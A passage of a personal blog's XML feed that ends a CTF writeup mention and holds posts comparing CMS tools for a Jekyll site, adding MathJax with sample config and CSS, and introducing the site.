<p>We’ve finished Narnia! Thanks for reading my writeup. Next stop: possibly Vortex or Manpage?</p>]]></content><author><name></name></author><category term="ctf" /><category term="c/cpp" /><summary type="html"><![CDATA[After an almost year-long hiatus, I’ve come back to this site to work on the next CTF wargame. This post contains my writeup to all the levels, complete with my thinking process and context.]]></summary></entry><entry><title type="html">Searching for the ultimate CMS (for my site)</title><link href="https://hos.sh/posts/searching-for-the-ultimate-cms-for-my-site" rel="alternate" type="text/html" title="Searching for the ultimate CMS (for my site)" /><published>2025-07-18T00:00:00-04:00</published><updated>2025-07-18T00:00:00-04:00</updated><id>https://hos.sh/posts/searching-for-the-ultimate-cms-for-my-site</id><content type="html" xml:base="https://hos.sh/posts/searching-for-the-ultimate-cms-for-my-site"><![CDATA[<p>For the past few weeks, I’ve been looking for a proper way to manage files and pages in this very site, without the need of managing the source code every time.</p>

<p>Of course, I could always do things the manual way, by manually setting the filename, headers, and writing all the markdown in plain text. But that requires some tedious work, and could end up with mistakes or inconsistencies (though I sometimes still have to do this, more on that later).</p>

<p>Then I’ve heard about how you could reduce the tediousness through a <strong>content management system (CMS)</strong>. Basically a way for me to create and edit posts through a fancy GUI instead of having to stare at a text editor the entire time.</p>

<p>In order to choose one however, I had some requirements in mind:</p>

<ol>
  <li>Doesn’t require me to host my site anywhere else - Github pages is already good enough.</li>
  <li>Doesn’t require me to make new accounts IF the only use of the account is to run the CMS (so stuff like Netlify and Cloudflare is fine).</li>
  <li>Isn’t paid or doesn’t have a horrible rate limit for free users.</li>
  <li>Can be run locally. Being able to use it online is nice, but not really needed.</li>
  <li>Isn’t outdated, hasn’t gotten updates in the past year.</li>
</ol>

<p>This has eliminated about 90% of CMS that I have found online. I have tested out the ones that fit, with varying degrees of failure and success.</p>

<hr />

<h3 id="cms-1-tinacms">CMS 1. TinaCMS</h3>

<p>I have first heard of this CMS from this site’s theme author, but that was back when it was still called Forestry.io. I liked the documentation and was hoping to use the special visual editing feature they offered inside the CMS.</p>

<p>However, I have faced some issues when using it. One being that the visual editing feature never worked properly for me, which I’m pretty sure was either a config issue or was never fully compatible.</p>

<p>Also, I faced issues with creating new posts - more specifically, setting the file name and the yaml headers properly. One example is setting the <code class="language-plaintext highlighter-rouge">layout</code> element to be “post” by default, while also hiding it from the tina UI. I expect this to always put “post” on all new posts, but instead it just doesn’t put the layout at all. Any other way to circumvent this would require me to input it myself anyway. Another example is with setting the date, which would always post the full datetime format, no matter what options I put.</p>

<p>I decided that there’s no point in using a CMS like this if it required that much manual intervention. It just wasn’t a use case for me.</p>

<hr />

<h3 id="cms-2-decap-cms">CMS 2. Decap CMS</h3>

<p>I’ve seen how much Decap/Netlify CMS gets mentioned every time I research this topic, meaning that it must be one of the more popular choices. I decided to try it out.</p>

<p>Surprisingly it is very simple. They provide the files, and the config does not take that many lines to write unlike Tina.</p>

<p>However, the issue came when trying to test the CMS locally. I could not do that, as I needed to connect to a backend in order to save any changes. One of the main options given was called Netlify Identity, however that required me to host my website to Netlify which I do not want to do. Another option was to authenticate using a Github account, but I couldn’t figure out how to do this past making an OAuth app.</p>

<p>I feel like Decap would’ve been a solid choice, if they made it easier to use it outside of Netlify. The documentation regarding this is sparse, and I would have to figure things on my own.</p>

<hr />

<h3 id="cms-3-sveltia-cms-currently-using">CMS 3. Sveltia CMS (currently using)</h3>

<p>I found out about Sveltia CMS as a drop-in replacement for Decap. Literally all I needed to do was replace a single line containing the javascript.</p>

<p>The experience has been much better simply because I was able to finally use it. It runs locally with a Chromium-based browser, so I could easily test if things work properly without pushing to github.</p>

<p>I also managed to get it to authenticate with a Github account, using Sveltia’s own <a href="https://github.com/sveltia/sveltia-cms-auth">CMS Authenticator</a>. This required me to host the auth server on Cloudflare myself. I followed the guide exactly as provided except for step 2, because I had to make a Github application instead of a standard OAuth app. The process is mainly the same, with the extra caveat being the permissions. Just set read and write permissions to “Content” in <em>Repository Permissions</em>.</p>

<hr />

<h3 id="the-search-is-still-ongoing">The search is still ongoing</h3>

<p>While I mentioned using Sveltia CMS, it is very far from perfect. My favorite part is the media manager, which allows me to upload &amp; download files on different directories, even if they are subdirectories of each other. This means i can edit my assets/ folder and assets/posts/ folders separately.</p>

<p><img src="/assets/posts/CMSfolders.png" alt="Showcase of assets folder versus posts" /></p>

<p>However, my least favorite part is the post editor. It is a very basic markdown editor with no special features. Code blocks do not show syntax highlighting, no matter what language I put on them. LaTeX/MathJax does not display at all. Also, Liquid and HTML (which Jekyll supports) does not get processed, which is expected but annoying if i wanted to edit the main pages.</p>

<p>Because of this, I am still looking for better ways to manage my content in this site. I might need to find a way to modify Sveltia, switch to a different CMS, or perhaps develop my own solution.  In any case, if anyone has any suggestions, feel free to share it!</p>]]></content><author><name></name></author><category term="blog" /><summary type="html"><![CDATA[For the past few weeks, I’ve been looking for a proper way to manage files and pages in this very site, without the need of managing the source code every time.]]></summary></entry><entry><title type="html">Adding Mathjax Support to Jekyll</title><link href="https://hos.sh/posts/adding-mathjax-support-to-jekyll" rel="alternate" type="text/html" title="Adding Mathjax Support to Jekyll" /><published>2025-06-01T00:00:00-04:00</published><updated>2025-06-01T00:00:00-04:00</updated><id>https://hos.sh/posts/adding-mathjax-support-to-jekyll</id><content type="html" xml:base="https://hos.sh/posts/adding-mathjax-support-to-jekyll"><![CDATA[<p>I’ve figured out how to implement Mathjax into my website.</p>

<p>If you do not know, Mathjax is basically used to display $\LaTeX$ equations in Markdown, websites, or anything that supports javascript. It came really useful when writing notes for most of my math classes, especially with markdown editors such as <a href="https://github.com/marktext/marktext">MarkText</a>.</p>

<p>Adding the script itself is simple, it’s just a one-liner into my external javascript file:</p>
<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;script </span><span class="na">src=</span><span class="s">"https://cdn.jsdelivr.net/npm/mathjax@3/es5/tex-mml-chtml.js"</span><span class="nt">&gt;&lt;/script&gt;</span>
</code></pre></div></div>

<p>However it doesn’t exactly work as I expected it to out-of-the-box, as using the <code class="language-plaintext highlighter-rouge">$</code> and <code class="language-plaintext highlighter-rouge">$$</code> syntaxes did not work. It turns out that by default it uses a completely different syntax, but I can actually customize this behavior by adding a script before it:</p>
<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;script&gt;</span>
<span class="nb">window</span><span class="p">.</span><span class="nx">MathJax</span> <span class="o">=</span> <span class="p">{</span>
    <span class="na">tex</span><span class="p">:</span> <span class="p">{</span>
        <span class="na">inlineMath</span><span class="p">:</span> <span class="p">[[</span><span class="dl">'</span><span class="se">\\</span><span class="s1">(</span><span class="dl">'</span><span class="p">,</span><span class="dl">'</span><span class="se">\\</span><span class="s1">)</span><span class="dl">'</span><span class="p">],</span> <span class="p">[</span><span class="dl">'</span><span class="s1">$</span><span class="dl">'</span><span class="p">,</span> <span class="dl">'</span><span class="s1">$</span><span class="dl">'</span><span class="p">]],</span>
        <span class="na">displayMath</span><span class="p">:</span> <span class="p">[[</span><span class="dl">'</span><span class="se">\\</span><span class="s1">[</span><span class="dl">'</span><span class="p">,</span><span class="dl">'</span><span class="se">\\</span><span class="s1">]</span><span class="dl">'</span><span class="p">],</span> <span class="p">[</span><span class="dl">'</span><span class="s1">$$</span><span class="dl">'</span><span class="p">,</span><span class="dl">'</span><span class="s1">$$</span><span class="dl">'</span><span class="p">]],</span>
    <span class="p">},</span>
    <span class="na">options</span><span class="p">:</span> <span class="p">{</span>
        <span class="na">skipHtmlTags</span><span class="p">:</span> <span class="p">[</span><span class="dl">'</span><span class="s1">script</span><span class="dl">'</span><span class="p">,</span> <span class="dl">'</span><span class="s1">noscript</span><span class="dl">'</span><span class="p">,</span> <span class="dl">'</span><span class="s1">style</span><span class="dl">'</span><span class="p">,</span> <span class="dl">'</span><span class="s1">textarea</span><span class="dl">'</span><span class="p">,</span> <span class="dl">'</span><span class="s1">pre</span><span class="dl">'</span><span class="p">]</span>
    <span class="p">}</span>
<span class="p">};</span>
<span class="nt">&lt;/script&gt;</span>
</code></pre></div></div>
<p>The skipHtmlTags help make sure that Mathjax doesn’t mess up with other parts of the site, like code blocks and whatnot.</p>

<p>Here’s a test with an inline equation: $ x^2 + y^2 = z^2 $</p>

<p>Some equations on display blocks:</p>

\[x + x^2\]

\[x = {-b \pm \sqrt{b^2-4ac} \over 2a}\]

\[\vec{\nabla} \times \vec{F} =
            \left( \frac{\partial F_z}{\partial y} - \frac{\partial F_y}{\partial z} \right) \mathbf{i}
          + \left( \frac{\partial F_x}{\partial z} - \frac{\partial F_z}{\partial x} \right) \mathbf{j}
          + \left( \frac{\partial F_y}{\partial x} - \frac{\partial F_x}{\partial y} \right) \mathbf{k}\]

<p>There is one issue however, which is that multi-line math blocks do not work (with <code class="language-plaintext highlighter-rouge">\\\\</code>). The SSE here should be in two lines.</p>

\[SSE =  \sum(y_i -\hat{y_i})^2 \\ 
SSE =  \sum(y_i - (b_0 + \beta x_i))^2\]

<p>I think the only way to circumvent this issue is by encasing it in a function, I chose to do it with <code class="language-plaintext highlighter-rouge">\begin{align*}</code></p>

\[\begin{align*}
SSE &amp;=  \sum(y_i -\hat{y_i})^2 \\
SSE &amp;=  \sum(y_i - (b_0 + \beta x_i))^2 
\end{align*}\]

<p>Aside from that, horizontal spacing (<code class="language-plaintext highlighter-rouge">\hspace{20cm}</code>) and vertical spacing <code class="language-plaintext highlighter-rouge">\\\\[1cm]</code> seem to work fine.</p>

\[x = {-b \pm \sqrt{b^2-4ac} \over 2a} \hspace{20cm}\]

\[\begin{align*}
x \cap x &amp;=  x \\[1cm]
x \cap z &amp;=  y
\end{align*}\]

<p>Additionally, I found this CSS rule which allows you to move the equations to the left instead of it being centered.</p>

<div class="language-css highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">mjx-container</span><span class="o">[</span><span class="nt">display</span><span class="o">=</span><span class="s1">"true"</span><span class="o">]</span> <span class="p">{</span>
  <span class="nl">justify-content</span><span class="p">:</span> <span class="n">flex-start</span> <span class="cp">!important</span><span class="p">;</span>
  <span class="nl">text-align</span><span class="p">:</span> <span class="nb">left</span> <span class="cp">!important</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<h4 id="references">References:</h4>

<ul>
  <li><a href="https://cwoebker.com/posts/latex-math-magic">LaTeX Math Magic</a></li>
  <li><a href="https://www.bodunhu.com/blog/posts/add-mathjax-support-to-jekyll-and-hugo/">Add Mathjax Support to Jekyll and Hugo</a></li>
</ul>]]></content><author><name></name></author><category term="blog" /><category term="mathjax" /><summary type="html"><![CDATA[I’ve figured out how to implement Mathjax into my website.]]></summary></entry><entry><title type="html">My first post + Future plans for this website</title><link href="https://hos.sh/posts/my-first-post-future-plans-for-this-website" rel="alternate" type="text/html" title="My first post + Future plans for this website" /><published>2025-05-25T00:00:00-04:00</published><updated>2025-05-25T00:00:00-04:00</updated><id>https://hos.sh/posts/my-first-post-future-plans-for-this-website</id><content type="html" xml:base="https://hos.sh/posts/my-first-post-future-plans-for-this-website"><![CDATA[<p>Hello!</p>

<p>I’ve finally decided to make use of this domain I grabbed, by making a personal website with it.</p>

<p>I decided to use Jekyll for this, but I am honestly a complete noob in terms of website styling + customization so I wanted to use a pre-made site to start off with.</p>

<p>I’ve looked at several themes, such as the <a href="https://github.com/TolgaTatli/Moonrise/">Moonrise</a> theme and the <a href="https://github.com/piharpi/jekyll-klise">Klise</a> theme, which are all awesome by their own right. However I eventually decided to base it off <a href="https://github.com/pixyzehn/pixyzehn.com">Pixyzehn’s</a> personal website. I thought that it was closest to my use case, and was simple enough for me to customize and make changes.</p>

<p>Here’s a small list of things that I hope to eventually implement for this website:</p>

<ul>
  <li>Overhaul the styling of this website, such as changing color scheme or centering</li>
  <li>Separate home and about pages</li>
  <li>Add a portfolio page?</li>
  <li>Add comments on posts, possibly using Github comments.</li>
  <li>Mathjax integration, because I want to be able to put fun math equations here</li>
  <li>A public directory (<a href="https://hos.sh/assets/">This</a> already exists, but it should be more stylized.)</li>
  <li>Port some of my existing writeups, guides, and notes.</li>
  <li>Talk about my own work!</li>
</ul>

<p>Anyways.. Thank you for visiting!</p>

<p><img src="https://hos.sh/assets/posts/happy-steam.gif" alt="Goodbye" /></p>]]></content><author><name></name></author><category term="blog" /><summary type="html"><![CDATA[Hello!]]></summary></entry></feed>